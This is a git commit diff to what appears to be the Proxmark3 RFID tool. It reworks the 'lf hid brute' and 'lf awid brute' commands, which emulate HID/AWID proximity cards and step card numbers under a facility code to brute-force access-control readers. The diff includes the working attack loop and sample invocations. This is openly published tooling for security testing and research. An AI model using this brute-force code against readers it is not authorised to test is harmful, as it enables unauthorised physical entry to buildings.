FIX: minor adjustments to 'lf awid bruteforce'

FIX: making the 'lf hid bruteforce' to work the same way as the awid one..
This commit is contained in:
iceman1001 2016-08-26 17:18:48 +02:00
parent cc70889743
commit 89603cbddc
3 changed files with 119 additions and 60 deletions

View file

@ -88,13 +88,11 @@ static int sendPing(void){
UsbCommand ping = {CMD_PING, {1, 2, 3}};
SendCommand(&ping);
SendCommand(&ping);
SendCommand(&ping);
SendCommand(&ping);
clearCommandBuffer();
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {
if (WaitForResponseTimeout(CMD_ACK, &resp, 1000))
return 0;
}
return 1;
}
@ -112,7 +110,6 @@ static bool sendTry(uint8_t fmtlen, uint32_t fc, uint32_t cn, uint32_t delay, ui
memcpy(c.d.asBytes, bs, bs_len);
clearCommandBuffer();
SendCommand(&c);
msleep(delay);
sendPing();
return TRUE;
@ -361,8 +358,6 @@ int CmdAWIDBrute(const char *Cmd){
break;
}
// start
PrintAndLog("Bruteforceing AWID %d Reader", fmtlen);
PrintAndLog("Press pm3-button to abort simulation or press key");
@ -375,8 +370,10 @@ int CmdAWIDBrute(const char *Cmd){
printf("Device offline\n");
return 2;
}
if (ukbhit()) return sendPing();
if (ukbhit()) {
PrintAndLog("aborted via keyboard!");
return sendPing();
}
// Do one up
if ( up < 0xFFFF )

View file

@ -51,19 +51,51 @@ int usage_lf_hid_clone(void){
}
int usage_lf_hid_brute(void){
PrintAndLog("Enables bruteforce of HID readers with specified facility code.");
PrintAndLog("Different formatlength is supported");
PrintAndLog("This is a incremental attack against reader.");
PrintAndLog("This is a attack against reader. if cardnumber is given, it starts with it and goes up / down one step");
PrintAndLog("if cardnumber is not given, it starts with 1 and goes up to 65535");
PrintAndLog("");
PrintAndLog("Usage: lf hid brute [h] <format length> <facility code>");
PrintAndLog("Usage: lf hid brute [h] a <format> f <facility-code> c <cardnumber> d <delay>");
PrintAndLog("Options :");
PrintAndLog(" h - This help");
PrintAndLog(" <format length> - 26|33|34|35|37|40|44|84");
PrintAndLog(" <facility code> - 8-bit value HID facility code");
PrintAndLog(" h : This help");
PrintAndLog(" a <format> : 26|33|34|35|37|40|44|84");
PrintAndLog(" f <facility-code> : 8-bit value HID facility code");
PrintAndLog(" c <cardnumber> : (optional) cardnumber to start with, max 65535");
PrintAndLog(" d <delay> : delay betweens attempts in ms. Default 1000ms");
PrintAndLog("");
PrintAndLog("Sample : lf hid brute 26 224");
PrintAndLog("Samples:");
PrintAndLog(" lf hid brute a 26 f 224");
PrintAndLog(" lf hid brute a 26 f 21 d 2000");
PrintAndLog(" lf hid brute a 26 f 21 c 200 d 2000");
return 0;
}
static int sendPing(void){
UsbCommand ping = {CMD_PING, {1, 2, 3}};
SendCommand(&ping);
SendCommand(&ping);
SendCommand(&ping);
clearCommandBuffer();
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1000))
return 0;
return 1;
}
static bool sendTry(uint8_t fmtlen, uint32_t fc, uint32_t cn, uint32_t delay, uint8_t *bs){
PrintAndLog("Trying FC: %u; CN: %u", fc, cn);
calcWiegand( fmtlen, fc, cn, bs);
uint64_t arg1 = bytebits_to_byte(bs,32);
uint64_t arg2 = bytebits_to_byte(bs+32,32);
UsbCommand c = {CMD_HID_SIM_TAG, {arg1, arg2, 0}};
clearCommandBuffer();
SendCommand(&c);
msleep(delay);
sendPing();
return TRUE;
}
int CmdHIDDemodFSK(const char *Cmd) {
int findone = ( Cmd[0] == '1' ) ? 1 : 0;
UsbCommand c = {CMD_HID_DEMOD_FSK, {findone, 0 , 0}};
@ -273,7 +305,7 @@ void calc26(uint16_t fc, uint32_t cardno, uint8_t *out){
// *hi = (cardno >> 31);
// }
static void calcWiegand(uint8_t fmtlen, uint16_t fc, uint64_t cardno, uint8_t *bits){
void calcWiegand(uint8_t fmtlen, uint16_t fc, uint64_t cardno, uint8_t *bits){
// uint32_t hi = 0, lo = 0;
// uint32_t cn32 = (cardno & 0xFFFFFFFF);
@ -359,67 +391,96 @@ int CmdHIDWiegand(const char *Cmd) {
int CmdHIDBrute(const char *Cmd){
bool error = TRUE;
uint8_t fc = 0, fmtlen = 0;
bool errors = false;
uint32_t fc = 0, cn = 0, delay = 1000;
uint8_t fmtlen = 0;
uint8_t bits[96];
uint8_t *bs = bits;
memset(bs, 0, sizeof(bits));
UsbCommand c = {CMD_HID_SIM_TAG, {0, 0, 0}};
char cmdp = param_getchar(Cmd, 0);
if (strlen(Cmd) > 2 || strlen(Cmd) == 0 || cmdp == 'h' || cmdp == 'H') return usage_lf_hid_brute();
fmtlen = param_get8(Cmd, 0);
uint8_t ftms[] = {26,33,34,35,37};
for ( uint8_t i = 0; i < sizeof(ftms); i++){
if ( ftms[i] == fmtlen ) {
error = FALSE;
uint8_t cmdp = 0;
while(param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch(param_getchar(Cmd, cmdp)) {
case 'h':
case 'H':
return usage_lf_hid_brute();
case 'f':
case 'F':
fc = param_get32ex(Cmd ,cmdp+1, 0, 10);
if ( !fc )
errors = true;
cmdp += 2;
break;
case 'd':
case 'D':
// delay between attemps, defaults to 1000ms.
delay = param_get32ex(Cmd, cmdp+1, 1000, 10);
cmdp += 2;
break;
case 'c':
case 'C':
cn = param_get32ex(Cmd, cmdp+1, 0, 10);
// truncate cardnumber.
cn &= 0xFFFF;
cmdp += 2;
break;
case 'a':
case 'A':
fmtlen = param_get8(Cmd, cmdp+1);
cmdp += 2;
uint8_t ftms[] = {26,33,34,35,37};
for ( uint8_t i = 0; i < sizeof(ftms); i++){
if ( ftms[i] == fmtlen ) {
errors = FALSE;
}
}
break;
default:
PrintAndLog("Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
if ( error ) return usage_lf_hid_brute();
fc = param_get8(Cmd, 1);
if ( fc == 0) return usage_lf_hid_brute();
if ( fc == 0 ) errors = true;
if ( errors ) return usage_lf_hid_brute();
PrintAndLog("Brute-forcing HID reader");
PrintAndLog("Press pm3-button to abort simulation or run another command");
for ( uint16_t cn = 1; cn < 0xFFFF; ++cn){
uint16_t up = cn;
uint16_t down = cn;
for (;;){
if ( offline ) {
printf("Device offline\n");
return 2;
}
if (ukbhit()) {
PrintAndLog("aborted via keyboard!");
c.cmd = CMD_PING;
c.arg[0] = 0x00;
c.arg[1] = 0x00;
c.arg[2] = 0x00;
clearCommandBuffer();
SendCommand(&c);
return 1;
return sendPing();
}
calcWiegand( fmtlen, fc, cn, bs);
c.arg[0] = bytebits_to_byte(bs,32);
c.arg[1] = bytebits_to_byte(bs+32,32);
clearCommandBuffer();
SendCommand(&c);
PrintAndLog("Trying FC: %u; CN: %u", fc, cn);
// pause
sleep(1);
// Do one up
if ( up < 0xFFFF )
if ( !sendTry(fmtlen, fc, up++, delay, bs)) return 1;
// Do one down (if cardnumber is given)
if ( cn > 1 )
if ( down > 1 )
if ( !sendTry(fmtlen, fc, --down, delay, bs)) return 1;
}
return 0;
}
static command_t CommandTable[] = {
{"help", CmdHelp, 1, "This help"},
{"fskdemod",CmdHIDDemodFSK, 0, "[1] Realtime HID FSK demodulator (option '1' for one tag only)"},
{"sim", CmdHIDSim, 0, "<ID> -- HID tag simulator"},
{"clone", CmdHIDClone, 0, "<ID> [L] -- Clone HID to T55x7"},
{"wiegand", CmdHIDWiegand, 0, "<OEM> <facility code> <card number> -- convert facility code/card number to Wiegand code"},
{"brute", CmdHIDBrute, 0, "<format length> <facility code> -- brute force card number"},
{"fskdemod",CmdHIDDemodFSK, 0, "Realtime HID FSK demodulator"},
{"sim", CmdHIDSim, 0, "HID tag simulator"},
{"clone", CmdHIDClone, 0, "Clone HID to T55x7"},
{"wiegand", CmdHIDWiegand, 0, "Convert facility code/card number to Wiegand code"},
{"brute", CmdHIDBrute, 0, "Bruteforce card number against reader"},
{NULL, NULL, 0, NULL}
};

View file

@ -36,4 +36,5 @@ int usage_lf_hid_clone(void);
int usage_lf_hid_brute(void);
void calc26(uint16_t fc, uint32_t cardno, uint8_t *out);
void calcWiegand(uint8_t fmtlen, uint16_t fc, uint64_t cardno, uint8_t *bits);
#endif